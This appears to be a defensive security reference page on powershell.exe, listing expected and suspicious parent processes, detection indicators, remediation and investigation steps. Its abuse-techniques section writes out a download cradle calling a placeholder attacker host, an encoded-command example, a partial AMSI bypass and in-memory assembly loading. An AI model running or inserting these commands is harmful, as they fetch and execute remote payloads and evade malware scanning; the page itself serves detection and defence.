Critical RiskWindowsLegitimateCommonly Abused
powershell.exeSYSTEM UTILITY

powershell.exe - Windows PowerShell Security Analysis

powershell.exe is the **Windows PowerShell** scripting engine. It is the **#1 attack tool** used by threat actors for execution, download cradles, post-exploitation, and living-off-the-land attacks. Extensive logging and monitoring is essential.

Risk Summary

CRITICAL priority. PowerShell is the most abused Windows utility. Enable **ScriptBlock Logging** and **Transcription**. Monitor for: encoded commands, download cradles, AMSI bypass, and suspicious parent processes.

Overview

What is powershell.exe?

powershell.exe is the Windows PowerShell scripting engine.

Security Significance

  • #1 Attack Tool: Used in majority of attacks
  • Full .NET Access: Complete system access
  • Download Cradle: Downloads and executes payloads
  • Fileless Attacks: Executes entirely in memory
  • AMSI Integration: Anti-Malware Scan Interface

Normal Behavior

Normal Behavior

Expected Parents

ParentContext
explorer.exeUser launches
cmd.exeScript execution
services.exeAdmin scripts
svchost.exeScheduled tasks

Suspicious Parents

ParentRisk
winword.exeCRITICAL
excel.exeCRITICAL
outlook.exeCRITICAL
mshta.exeCRITICAL
wscript.exeHIGH

Common Locations

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Suspicious Indicators

Legitimate vs Suspicious

CRITICAL INDICATORS

-EncodedCommand / -enc / -e
-ExecutionPolicy Bypass / -ep bypass
-NoProfile -NonInteractive
-WindowStyle Hidden / -w hidden
Invoke-Expression / IEX
DownloadString / DownloadFile
Net.WebClient
[Convert]::FromBase64String
New-Object IO.MemoryStream
Invoke-Mimikatz

Risk Assessment

PatternRisk Level
-enc [base64]CRITICAL
IEX(Net.WebClient)CRITICAL
Invoke-MimikatzCRITICAL
AMSI bypass attemptCRITICAL
-ExecutionPolicy BypassHIGH
-WindowStyle HiddenMEDIUM

Abuse Techniques

Attack Techniques

Technique #1: Download Cradle (T1059.001)

powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://evil.com/payload.ps1')"

Technique #2: Encoded Commands

powershell -enc JABjAD0ATgBlAHcALQBPAGIAagBlAGMAdAA...

Technique #3: AMSI Bypass

[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils")...

Technique #4: Fileless Malware

$bytes = [Convert]::FromBase64String($encoded)
[System.Reflection.Assembly]::Load($bytes)

Remediation Steps

Remediation

  1. Enable PowerShell logging organization-wide
  2. Decode and analyze encoded commands
  3. Block PowerShell for non-admin users (Constrained Language Mode)
  4. Implement Application Control
  5. Deploy AMSI-aware security solutions

Investigation Checklist

Investigation Checklist

  • Capture full command line
  • Decode encoded commands
  • Review ScriptBlock logs (Event ID 4104)
  • Check parent process
  • Look for download activity
  • Check AMSI logs for bypasses
  • Review network connections
  • Check persistence mechanisms

MITRE ATT&CK Techniques

Last verified: January 18, 2026